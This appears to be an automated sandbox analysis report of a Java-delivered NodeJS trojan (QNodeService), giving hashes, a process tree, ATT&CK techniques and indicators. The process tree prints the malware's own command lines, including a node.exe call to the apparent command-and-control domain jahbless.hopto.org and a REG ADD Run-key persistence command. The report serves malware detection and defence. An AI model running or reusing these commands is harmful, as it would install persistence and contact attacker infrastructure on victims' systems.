qnodeservice | 6d64973f89ff7383c610b24969f4b3f8f9a134354d4dbbbb922be53696577957

General

Target

DHL.jar
Size

73KB
MD5

b8c87f39813cbf2c1cfc9643d1175e8f
SHA1

99f1cc2b620ed9bda0087777a11388c882c06943
SHA256

6d64973f89ff7383c610b24969f4b3f8f9a134354d4dbbbb922be53696577957
SHA512

ad4d786692d7c7b61a7eb2ecdb63235cb10cb167f375e3648ada7411d2f7714269004795c3101d25b666277067a19428ad778454b659a349398418c3d91e2fa4

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1732	node.exe
928	node.exe
1260	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\2ad6bc35-680b-47c9-b482-a68d6417f111 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad54-171.dat	js
behavioral2/files/0x000100000001ad54-174.dat	js
behavioral2/files/0x000100000001ad54-178.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1732	node.exe
1732	node.exe
1732	node.exe
1732	node.exe
928	node.exe
928	node.exe
928	node.exe
928	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe
1260	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3496 wrote to memory of 492	3496	java.exe	73
PID 3496 wrote to memory of 492	3496	java.exe	73
PID 492 wrote to memory of 1732	492	javaw.exe	77
PID 492 wrote to memory of 1732	492	javaw.exe	77
PID 1732 wrote to memory of 928	1732	node.exe	79
PID 1732 wrote to memory of 928	1732	node.exe	79
PID 928 wrote to memory of 1260	928	node.exe	80
PID 928 wrote to memory of 1260	928	node.exe	80
PID 1260 wrote to memory of 3740	1260	node.exe	82
PID 1260 wrote to memory of 3740	1260	node.exe	82
PID 3740 wrote to memory of 2140	3740	cmd.exe	83
PID 3740 wrote to memory of 2140	3740	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DHL.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3496
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\033233dc.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:492
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1732
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_69T9oN\boot.js --hub-domain jahbless.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:928
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_69T9oN\boot.js --hub-domain jahbless.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1260
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2ad6bc35-680b-47c9-b482-a68d6417f111" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3740
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2ad6bc35-680b-47c9-b482-a68d6417f111" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/928-175-0x0000023888200000-0x0000023888201000-memory.dmp

Filesize
4KB

Download
memory/1260-179-0x000002415B740000-0x000002415B741000-memory.dmp

Filesize
4KB

Download
memory/1732-172-0x0000018FC0E80000-0x0000018FC0E81000-memory.dmp

Filesize
4KB

Download

Analysis

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